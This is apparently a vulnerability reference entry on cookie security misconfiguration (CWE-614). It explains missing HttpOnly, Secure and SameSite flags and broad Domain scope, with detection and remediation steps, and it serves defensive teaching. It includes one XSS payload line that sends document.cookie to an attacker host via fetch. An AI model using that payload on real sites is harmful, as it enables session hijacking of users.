Description
Cookie security misconfiguration (CWE-614) encompasses the absence or incorrect configuration of the security attributes attached to HTTP cookies, particularly session and authentication cookies. The three critical attributes — HttpOnly, Secure, and SameSite — form the primary client-side defense layer for session tokens against JavaScript theft, network eavesdropping, and cross-site request forgery respectively. When any of these attributes is missing or misconfigured, the defense-in-depth protection for session management is weakened.
This vulnerability class falls under OWASP A05:2021 (Security Misconfiguration) and is both pervasive and underrated. Cookie attribute misconfigurations are straightforward to identify and remediate, yet consistently appear in penetration test findings because they are often not tested during development and require deliberate configuration rather than emerging from framework defaults.
The most common findings include session cookies served over HTTP without the Secure flag, session cookies accessible via JavaScript without HttpOnly, SameSite set to None without a corresponding CSRF defense, and excessively broad Domain attributes that expose cookies across unrelated subdomains.
How It Works
Missing HttpOnly flag:
Set-Cookie: session=abc123; Path=/
Without HttpOnly, the session token is accessible via document.cookie. Any XSS vulnerability — however minor — immediately leads to session token theft:
// XSS payload extracts session
fetch('https://attacker.com/?c=' + document.cookie);
Missing Secure flag:
Set-Cookie: session=abc123; HttpOnly; Path=/
Without Secure, the cookie is transmitted over HTTP connections. If the user accesses the application over an unencrypted connection (HTTP redirected from HTTP, or mixed content), or is subject to a network MITM attack (coffee shop Wi-Fi), the session token is exposed in cleartext.
Misconfigured SameSite:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=None
SameSite=None means the cookie is sent on all cross-site requests, including those initiated from attacker-controlled pages. This re-enables cross-site request forgery (CSRF) attacks that SameSite=Strict or SameSite=Lax would prevent.
Overly broad Domain attribute:
Set-Cookie: session=abc123; Domain=.target.com; Secure; HttpOnly
The leading dot means the cookie is sent to all subdomains: api.target.com, dev.target.com, legacy.target.com. A compromised or vulnerable subdomain can access, modify, or inject cookies that will be sent to the main application.
Testing with Burp Suite involves inspecting all Set-Cookie response headers in the Proxy history and verifying each security attribute is present and correctly configured.
Impact
- Session Token Theft via XSS — Missing
HttpOnlyallows any JavaScript execution to read and exfiltrate session cookies - Session Token Theft via Network — Missing
Secureexposes tokens in plaintext over HTTP connections or to network-layer attackers - Cross-Site Request Forgery — Missing or permissive
SameSiteallows malicious cross-site requests to carry the victim's session cookie - Cross-Subdomain Session Exposure — Overly broad
Domainattribute shares cookies with all subdomains, expanding the attack surface for session theft - Long-Term Persistence — Persistent cookies without appropriate expiry extend the theft window indefinitely
Detection
- Inspect all
Set-Cookieheaders — use Burp Suite to review everySet-Cookieheader across the entire application. Check each forHttpOnly,Secure,SameSite,Domain,Path, andExpires/Max-Ageattributes. - Test
HttpOnlyenforcement — open browser DevTools, go to the Console, and attemptdocument.cookie. Session tokens should not appear in the output. - Test
Secureflag — request the application over HTTP (http://target.com). If the session cookie is set or transmitted over HTTP, theSecureflag is missing. - Test
SameSitebehavior — create an HTML page on a different origin that submits a form to the target application. Use Burp Suite to verify whether the session cookie is included in the cross-site request. - Check subdomain cookie scope — verify the
Domainattribute. Test whether cookies are sent to unrelated subdomains (test.target.com,docs.target.com). - Verify cookie lifetime — check
ExpiresandMax-Ageon persistent cookies. Session cookies should not haveMax-Ageset (they should expire when the browser closes) unless implementing a deliberate "remember me" feature.
Remediation
Set all three critical flags on every session and authentication cookie:
# Python / Flask
response.set_cookie(
'session',
value=session_token,
httponly=True, # Prevent JavaScript access
secure=True, # HTTPS only
samesite='Strict', # Prevent cross-site sending
max_age=3600, # 1 hour expiry
path='/'
)
# nginx — add to all responses
add_header Set-Cookie "session=$session; HttpOnly; Secure; SameSite=Strict; Path=/";
Use SameSite=Strict for session cookies. Strict prevents the cookie from being sent on any cross-site request, including top-level navigation from external links. Use Lax only when cross-site navigation must carry the session (e.g., OAuth callbacks).
Scope cookies to the exact host. Omit the Domain attribute entirely, which causes the browser to scope the cookie to the exact hostname. Only include Domain=.target.com when shared sessions across subdomains are a specific, deliberate requirement.
Implement CSRF tokens alongside SameSite. Don't rely on SameSite alone as the CSRF defense. Use double-submit cookie or synchronizer token patterns for state-changing operations.
